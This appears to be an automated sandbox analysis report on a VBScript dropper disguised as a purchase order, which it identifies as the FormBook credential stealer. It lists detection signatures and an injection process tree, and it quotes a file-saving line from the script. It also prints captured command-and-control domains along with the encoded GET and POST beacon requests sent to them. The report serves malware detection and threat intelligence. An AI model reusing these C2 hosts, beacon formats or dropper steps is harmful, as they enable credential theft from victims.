Edit tour

Windows Analysis Report
PO1341489LTB GROUP.vbs

Overview

General Information

Sample name:	PO1341489LTB GROUP.vbs
Analysis ID:	1576423
MD5:	fe2b1e9947e1f7ab65d6542ba1abccc0
SHA1:	2753756f5438d94c49fad80ba14bb5440a4b260a
SHA256:	d618b1d56fbd24ce3c15bfd5c238f9ad8695156667d4b6e04c378f8eca6e34d7
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Benign windows process drops PE files

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

VBScript performs obfuscated calls to suspicious functions

Yara detected FormBook

.NET source code contains very large array initializations

AI detected suspicious sample

Allocates memory in foreign processes

Found direct / indirect Syscall (likely to bypass EDR)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Potential malicious VBS script found (has network functionality)

Queues an APC in another process (thread injection)

Sigma detected: WScript or CScript Dropper

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Drops PE files

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: AspNetCompiler Execution

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6148 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO1341489LTB GROUP.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

x.exe (PID: 5796 cmdline: "C:\Users\user\AppData\Local\Temp\x.exe" MD5: D9A430A4C9B06A9C5F69147498335567)

aspnet_compiler.exe (PID: 6536 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" MD5: FDA8C8F2A4E100AFB14C13DFCBCAB2D2)

JogKDBeJAc.exe (PID: 6000 cmdline: "C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

chkntfs.exe (PID: 5236 cmdline: "C:\Windows\SysWOW64\chkntfs.exe" MD5: A9B42ED1B14BB22EF07CCC8228697408)

JogKDBeJAc.exe (PID: 4444 cmdline: "C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

firefox.exe (PID: 2300 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.3303203962.0000000002370000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.2338722204.0000000001810000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000007.00000002.3306103928.0000000005540000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.2339680542.0000000001BC0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.2338151410.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000005.00000002.3304435992.0000000002710000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.3304393430.00000000042B0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.3304322824.0000000004260000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO1341489LTB GROUP.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO1341489LTB GROUP.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO1341489LTB GROUP.vbs", ProcessId: 6148, ProcessName: wscript.exe

Sigma detected: AspNetCompiler Execution

Source: Process started

Author: frack113: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\x.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\x.exe, ParentProcessId: 5796, ParentProcessName: x.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", ProcessId: 6536, ProcessName: aspnet_compiler.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO1341489LTB GROUP.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO1341489LTB GROUP.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO1341489LTB GROUP.vbs", ProcessId: 6148, ProcessName: wscript.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\x.exe

Avira: detection malicious, Label: TR/Dropper.Gen

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\x.exe

ReversingLabs: Detection: 55%

Multi AV Scanner detection for submitted file

Source: PO1341489LTB GROUP.vbs	Virustotal: Detection: 26%			Perma Link
Source: PO1341489LTB GROUP.vbs	ReversingLabs: Detection: 21%

Yara detected FormBook

Source: Yara match	File source: 00000006.00000002.3303203962.0000000002370000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2338722204.0000000001810000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3306103928.0000000005540000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2339680542.0000000001BC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2338151410.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3304435992.0000000002710000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3304393430.00000000042B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3304322824.0000000004260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\x.exe

Joe Sandbox ML: detected

Source:	Binary string: chkntfs.pdbGCTL source: aspnet_compiler.exe, 00000003.00000002.2338526683.0000000001417000.00000004.00000020.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000005.00000003.2277403116.00000000008A4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: JogKDBeJAc.exe, 00000005.00000002.3304097784.0000000000F9E000.00000002.00000001.01000000.00000009.sdmp, JogKDBeJAc.exe, 00000007.00000002.3303611302.0000000000F9E000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: wntdll.pdbUGP source: aspnet_compiler.exe, 00000003.00000002.2338810334.0000000001870000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3304683036.000000000465E000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3304683036.00000000044C0000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 00000006.00000003.2338493197.0000000004169000.00000004.00000020.00020000.00000000.sdmp, chkntfs.exe, 00000006.00000003.2341050723.0000000004314000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: aspnet_compiler.exe, 00000003.00000002.2338810334.0000000001870000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3304683036.000000000465E000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3304683036.00000000044C0000.00000040.00001000.00020000.00000000.sdmp, chkntfs.exe, 00000006.00000003.2338493197.0000000004169000.00000004.00000020.00020000.00000000.sdmp, chkntfs.exe, 00000006.00000003.2341050723.0000000004314000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: aspnet_compiler.pdb source: chkntfs.exe, 00000006.00000002.3305493710.0000000004AEC000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3303352157.0000000002688000.00000004.00000020.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000000.2407341039.000000000310C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2626329765.000000001578C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: chkntfs.pdb source: aspnet_compiler.exe, 00000003.00000002.2338526683.0000000001417000.00000004.00000020.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000005.00000003.2277403116.00000000008A4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: BNXCNJ22333.pdb source: wscript.exe, 00000000.00000003.2078207053.000001B7B4DE4000.00000004.00000020.00020000.00000000.sdmp, x.exe.0.dr

Networking

Potential malicious VBS script found (has network functionality)

Source:

Initial file: adodbStream.SaveToFile executablePath, 2 ' adSaveCreateOverWrite

Source: Joe Sandbox View	IP Address: 52.60.87.163 52.60.87.163
Source: Joe Sandbox View	IP Address: 103.224.182.242 103.224.182.242

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Tue, 17 Dec 2024 02:41:11 GMTserver: Apacheset-cookie: __tad=1734403271.6175629; expires=Fri, 15-Dec-2034 02:41:11 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 579content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 51 ac 03 12 db 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 59 72 25 26 69 50 e4 bf 8f 72 dc 8f 75 87 56 17 5b d4 23 df 7b 34 e5 a2 a5 4e 57 51 d1 a2 a8 f9 41 8a 34 56 4b a7 e4 a6 55 5a fb cc 2b c2 22 3f 85 a3 c2 4b a7 7a 02 3a f4 58 c6 84 f7 94 af c5 4e 9c a2 31 78 27 cb 38 5f fb bc 51 66 85 ae 77 ca 50 ae 54 83 59 a7 4c b6 f6 71 55 e4 27 ec 5b a5 aa 68 27 1c 38 ac 95 43 49 7f b4 32 1b 28 21 69 89 fa 79 9e ef f7 fb ec 95 c4 fc ee 5a ce f2 cf c9 22 8a f2 1c 6e 91 40 00 a9 0e ed 96 c0 36 70 35 9b 41 a7 a4 b3 1e a5 35 b5 07 b2 80 f7 28 b7 84 0c 7c e4 01 d5 00 b5 08 2f e4 43 ef 6c a7 3c c7 84 d2 1e 1a eb c0 db 0e 39 45 78 6b a2 66 6b 24 29 6b f8 58 eb a5 90 9b 9b b1 54 3a 85 87 68 b2 57 a6 b6 fb 4c 5b 29 02 2a 73 d8 6b 21 31 fd c7 d8 79 d2 f4 e5 c5 a7 64 ba 88 8e 51 44 ee 10 32 59 a5 27 70 b5 fb 35 9a 28 c1 23 8d 9b f4 35 db 87 60 90 f3 27 a1 6b 4d ff 73 d4 5c c2 d7 67 27 df 6f 59 87 a8 d3 87 ce 1a 45 96 43 ab 79 90 ed f1 18 32 9f b2 a2 c9 24 e3 26 98 b4 e9 a1 ac b8 5a b6 42 b6 33 7d 8a f3 cb c4 a1 df 6a 0a e7 0f 10 f6 23 b1 0b 3a 83 9d e4 fc 84 c8 76 ca 07 b2 6f f5 62 80 49 8d e2 d1 52 fa ec 6e 7a 3a 7d 5f bb 02 cd 90 10 74 1f 81 b1 b2 4d d1 b9 a1 e3 ff 7f 87 a1 ab 2f e7 8e 0e 3c ca b0 b4 35 37 1a 02 76 e5 ec d6 d4 f3 b3 cb d9 a5 bc ba 86 23 30 7a 00 71 da 78 2d 06 f4 72 25 ad b6 ae 8c cf 9a 61 c5 10 c6 96 b7 b3 61 f1 d0 16 b5 da c1 90 5b 26 b5 f2 ac fe 30 07 63 0d 2e 92 aa 10 d0 3a 6c ca b7 87 38 8c c3 55 52 7d d1 7c 08 2d 3a 1c a6 d5 10 ba 22 17 7c 85 98 84 a9 8c 1d 2d 15 1d 12 d7 e6 aa 17 78 b7 55 bb 32 66 1a 6e 7f 1b 03 4f 11 71 62 19 cf 16 f0 fb e6 47 f9 2e ea 8f e1 9a 3e 55 e7 1e 04 f3 43 2f c2 9f e2 2f 86 1b 7a 80 30 04 00 00 Data Ascii: TMo0=pvNQ;a"Yr%&iPruV[#{4NWQA4VKUZ+"?Kz:XN1x'8_QfwPTYLqU'[h'8CI2(!iyZ"n@6p5A5(\|/Cl<9Exkfk$)kXT:hWL[)*sk!1ydQD2Y'p5(#5`'kMs\g'oYECy2$&ZB3}j#:vobIRnz:}_tM/<57v#0zqx-r%aa[&0c.:l8UR}\|-:"\|-xU2fnOqbG.>UC//z0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Tue, 17 Dec 2024 02:41:14 GMTserver: Apacheset-cookie: __tad=1734403274.7988264; expires=Fri, 15-Dec-2034 02:41:14 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 579content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 51 ac 03 12 db 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 59 72 25 26 69 50 e4 bf 8f 72 dc 8f 75 87 56 17 5b d4 23 df 7b 34 e5 a2 a5 4e 57 51 d1 a2 a8 f9 41 8a 34 56 4b a7 e4 a6 55 5a fb cc 2b c2 22 3f 85 a3 c2 4b a7 7a 02 3a f4 58 c6 84 f7 94 af c5 4e 9c a2 31 78 27 cb 38 5f fb bc 51 66 85 ae 77 ca 50 ae 54 83 59 a7 4c b6 f6 71 55 e4 27 ec 5b a5 aa 68 27 1c 38 ac 95 43 49 7f b4 32 1b 28 21 69 89 fa 79 9e ef f7 fb ec 95 c4 fc ee 5a ce f2 cf c9 22 8a f2 1c 6e 91 40 00 a9 0e ed 96 c0 36 70 35 9b 41 a7 a4 b3 1e a5 35 b5 07 b2 80 f7 28 b7 84 0c 7c e4 01 d5 00 b5 08 2f e4 43 ef 6c a7 3c c7 84 d2 1e 1a eb c0 db 0e 39 45 78 6b a2 66 6b 24 29 6b f8 58 eb a5 90 9b 9b b1 54 3a 85 87 68 b2 57 a6 b6 fb 4c 5b 29 02 2a 73 d8 6b 21 31 fd c7 d8 79 d2 f4 e5 c5 a7 64 ba 88 8e 51 44 ee 10 32 59 a5 27 70 b5 fb 35 9a 28 c1 23 8d 9b f4 35 db 87 60 90 f3 27 a1 6b 4d ff 73 d4 5c c2 d7 67 27 df 6f 59 87 a8 d3 87 ce 1a 45 96 43 ab 79 90 ed f1 18 32 9f b2 a2 c9 24 e3 26 98 b4 e9 a1 ac b8 5a b6 42 b6 33 7d 8a f3 cb c4 a1 df 6a 0a e7 0f 10 f6 23 b1 0b 3a 83 9d e4 fc 84 c8 76 ca 07 b2 6f f5 62 80 49 8d e2 d1 52 fa ec 6e 7a 3a 7d 5f bb 02 cd 90 10 74 1f 81 b1 b2 4d d1 b9 a1 e3 ff 7f 87 a1 ab 2f e7 8e 0e 3c ca b0 b4 35 37 1a 02 76 e5 ec d6 d4 f3 b3 cb d9 a5 bc ba 86 23 30 7a 00 71 da 78 2d 06 f4 72 25 ad b6 ae 8c cf 9a 61 c5 10 c6 96 b7 b3 61 f1 d0 16 b5 da c1 90 5b 26 b5 f2 ac fe 30 07 63 0d 2e 92 aa 10 d0 3a 6c ca b7 87 38 8c c3 55 52 7d d1 7c 08 2d 3a 1c a6 d5 10 ba 22 17 7c 85 98 84 a9 8c 1d 2d 15 1d 12 d7 e6 aa 17 78 b7 55 bb 32 66 1a 6e 7f 1b 03 4f 11 71 62 19 cf 16 f0 fb e6 47 f9 2e ea 8f e1 9a 3e 55 e7 1e 04 f3 43 2f c2 9f e2 2f 86 1b 7a 80 30 04 00 00 Data Ascii: TMo0=pvNQ;a"Yr%&iPruV[#{4NWQA4VKUZ+"?Kz:XN1x'8_QfwPTYLqU'[h'8CI2(!iyZ"n@6p5A5(\|/Cl<9Exkfk$)kXT:hWL[)*sk!1ydQD2Y'p5(#5`'kMs\g'oYECy2$&ZB3}j#:vobIRnz:}_tM/<57v#0zqx-r%aa[&0c.:l8UR}\|-:"\|-xU2fnOqbG.>UC//z0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Tue, 17 Dec 2024 02:41:17 GMTserver: Apacheset-cookie: __tad=1734403277.4596934; expires=Fri, 15-Dec-2034 02:41:17 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 579content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 51 ac 03 12 db 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 59 72 25 26 69 50 e4 bf 8f 72 dc 8f 75 87 56 17 5b d4 23 df 7b 34 e5 a2 a5 4e 57 51 d1 a2 a8 f9 41 8a 34 56 4b a7 e4 a6 55 5a fb cc 2b c2 22 3f 85 a3 c2 4b a7 7a 02 3a f4 58 c6 84 f7 94 af c5 4e 9c a2 31 78 27 cb 38 5f fb bc 51 66 85 ae 77 ca 50 ae 54 83 59 a7 4c b6 f6 71 55 e4 27 ec 5b a5 aa 68 27 1c 38 ac 95 43 49 7f b4 32 1b 28 21 69 89 fa 79 9e ef f7 fb ec 95 c4 fc ee 5a ce f2 cf c9 22 8a f2 1c 6e 91 40 00 a9 0e ed 96 c0 36 70 35 9b 41 a7 a4 b3 1e a5 35 b5 07 b2 80 f7 28 b7 84 0c 7c e4 01 d5 00 b5 08 2f e4 43 ef 6c a7 3c c7 84 d2 1e 1a eb c0 db 0e 39 45 78 6b a2 66 6b 24 29 6b f8 58 eb a5 90 9b 9b b1 54 3a 85 87 68 b2 57 a6 b6 fb 4c 5b 29 02 2a 73 d8 6b 21 31 fd c7 d8 79 d2 f4 e5 c5 a7 64 ba 88 8e 51 44 ee 10 32 59 a5 27 70 b5 fb 35 9a 28 c1 23 8d 9b f4 35 db 87 60 90 f3 27 a1 6b 4d ff 73 d4 5c c2 d7 67 27 df 6f 59 87 a8 d3 87 ce 1a 45 96 43 ab 79 90 ed f1 18 32 9f b2 a2 c9 24 e3 26 98 b4 e9 a1 ac b8 5a b6 42 b6 33 7d 8a f3 cb c4 a1 df 6a 0a e7 0f 10 f6 23 b1 0b 3a 83 9d e4 fc 84 c8 76 ca 07 b2 6f f5 62 80 49 8d e2 d1 52 fa ec 6e 7a 3a 7d 5f bb 02 cd 90 10 74 1f 81 b1 b2 4d d1 b9 a1 e3 ff 7f 87 a1 ab 2f e7 8e 0e 3c ca b0 b4 35 37 1a 02 76 e5 ec d6 d4 f3 b3 cb d9 a5 bc ba 86 23 30 7a 00 71 da 78 2d 06 f4 72 25 ad b6 ae 8c cf 9a 61 c5 10 c6 96 b7 b3 61 f1 d0 16 b5 da c1 90 5b 26 b5 f2 ac fe 30 07 63 0d 2e 92 aa 10 d0 3a 6c ca b7 87 38 8c c3 55 52 7d d1 7c 08 2d 3a 1c a6 d5 10 ba 22 17 7c 85 98 84 a9 8c 1d 2d 15 1d 12 d7 e6 aa 17 78 b7 55 bb 32 66 1a 6e 7f 1b 03 4f 11 71 62 19 cf 16 f0 fb e6 47 f9 2e ea 8f e1 9a 3e 55 e7 1e 04 f3 43 2f c2 9f e2 2f 86 1b 7a 80 30 04 00 00 Data Ascii: TMo0=pvNQ;a"Yr%&iPruV[#{4NWQA4VKUZ+"?Kz:XN1x'8_QfwPTYLqU'[h'8CI2(!iyZ"n@6p5A5(\|/Cl<9Exkfk$)kXT:hWL[)*sk!1ydQD2Y'p5(#5`'kMs\g'oYECy2$&ZB3}j#:vobIRnz:}_tM/<57v#0zqx-r%aa[&0c.:l8UR}\|-:"\|-xU2fnOqbG.>UC//z0

Source: global traffic	HTTP traffic detected: GET /lvnw/?-V8=PnfuVDu+NOzkAh7O+7Vj27VnnoRWHWCWtKII0z0YG5WqqHdwEfQqR5XVQmQd5mG7F2k9Soh0q42Pqx1rEU++5lE1fyewpKHAvlydGXlffERlJmNtF5QLa6mLyqy4r6QOPw==&2H=b6QHb8C0WpQhtV HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Connection: closeHost: www.northidahoscans.onlineUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 (Splashtop-v1.2.13.0)
Source: global traffic	HTTP traffic detected: GET /q6c0/?-V8=DNozHXZRHwMop+WB0qwfBKpxfEH+ejoTyKy7EOTXMNRX1xYPjRGOw4JAj4pefwWAxfS0q+PDkH37PQMlxyuVDnop3GMN8cH/UXRq5XDzrWyHO52OJthmQYZMV7gmULD6fQ==&2H=b6QHb8C0WpQhtV HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Connection: closeHost: www.brickhills.siteUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 (Splashtop-v1.2.13.0)
Source: global traffic	HTTP traffic detected: GET /ocjg/?-V8=PsakXBZzgyoVbyp2hjDhUIAPjymto9iGXnTsMAFbSxg7wqJ/GaGLf9R1SWA0D+LwAwOTNpeqtTSBVw9+2LbbbxVu9AMo8WkIslXiFZquUVbpmyTV+kMBZINqQZENrlqOtg==&2H=b6QHb8C0WpQhtV HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Connection: closeHost: www.pin-ballerz.netUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 (Splashtop-v1.2.13.0)
Source: global traffic	HTTP traffic detected: GET /83oq/?-V8=uON7WwvftimkH6+9fo1haamOfON2rQIMUfJSLV47BI3eNmd69pzs52jdBx/JPqPeVCXck41+K0Sv6SgSfr5VB9MDDVgyHUBPcljHHq+Df2KeZsyLZPWCaDvb78l21qpsnQ==&2H=b6QHb8C0WpQhtV HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Connection: closeHost: www.allstary.topUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 (Splashtop-v1.2.13.0)
Source: global traffic	HTTP traffic detected: GET /nydx/?-V8=q7nzFJj3afdOFJJfiG7XJfkkRIbmdsBL0Xh9x7HOO1bMwAYpIu+EkXrpUMzqVtVwT+pWdZ8+fZkDpnUDi5L0pxX3zg/WB9ChebFWf29eE9HJh+d3M/EMfjpTQLNaei8vxw==&2H=b6QHb8C0WpQhtV HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Connection: closeHost: www.waytoocool.lifeUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 (Splashtop-v1.2.13.0)
Source: global traffic	HTTP traffic detected: GET /xsla/?-V8=hoxAaasoZBOD0j1KZ83XYOlI1AJE1doQvwEl/6A98KlFBwCru8LBuQoutmWPazGrcTbrOkYKG6VMwnANAgx3/U5cHXy83Zs53QS9fb9clXtmfZkgH8FbRqFEUKF+mnaT3w==&2H=b6QHb8C0WpQhtV HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Connection: closeHost: www.timai.shopUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 (Splashtop-v1.2.13.0)

Source: global traffic	DNS traffic detected: DNS query: www.northidahoscans.online
Source: global traffic	DNS traffic detected: DNS query: www.brickhills.site
Source: global traffic	DNS traffic detected: DNS query: www.pin-ballerz.net
Source: global traffic	DNS traffic detected: DNS query: www.allstary.top
Source: global traffic	DNS traffic detected: DNS query: www.waytoocool.life
Source: global traffic	DNS traffic detected: DNS query: www.timai.shop

Source: unknown

HTTP traffic detected: POST /q6c0/ HTTP/1.1Accept: */*Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 204Connection: closeCache-Control: max-age=0Host: www.brickhills.siteOrigin: http://www.brickhills.siteReferer: http://www.brickhills.site/q6c0/User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 (Splashtop-v1.2.13.0)Data Raw: 2d 56 38 3d 4f 50 41 54 45 68 6c 45 44 45 63 74 70 6f 69 4c 2b 66 63 72 41 2f 42 6e 43 45 53 63 64 55 67 49 39 39 32 33 49 66 2f 4a 4f 2b 74 4f 32 69 63 7a 68 47 61 73 39 6f 70 76 38 4b 70 2b 52 51 4f 4e 78 66 6a 53 71 4e 37 34 6d 6d 65 38 48 56 67 49 6f 6a 47 4d 43 56 49 6b 2b 6a 41 79 2b 66 47 75 4e 55 6c 6b 2f 6c 6a 6f 71 6c 33 6c 58 2b 4c 7a 43 37 46 45 5a 70 74 2b 4f 37 41 6d 4f 4c 69 71 4c 4e 46 4b 58 71 51 74 4c 76 33 57 4b 66 33 4a 4a 65 56 6f 57 41 38 78 6f 6b 64 41 4a 5a 66 4d 2f 52 5a 63 4e 72 79 38 74 35 4e 67 6d 69 2b 31 6a 54 38 6a 31 4e 35 44 4f 6a 62 4c 37 38 38 2b 4f 53 53 58 67 30 51 3d Data Ascii: -V8=OPATEhlEDEctpoiL+fcrA/BnCEScdUgI9923If/JO+tO2iczhGas9opv8Kp+RQONxfjSqN74mme8HVgIojGMCVIk+jAy+fGuNUlk/ljoql3lX+LzC7FEZpt+O7AmOLiqLNFKXqQtLv3WKf3JJeVoWA8xokdAJZfM/RZcNry8t5Ngmi+1jT8j1N5DOjbL788+OSSXg0Q=

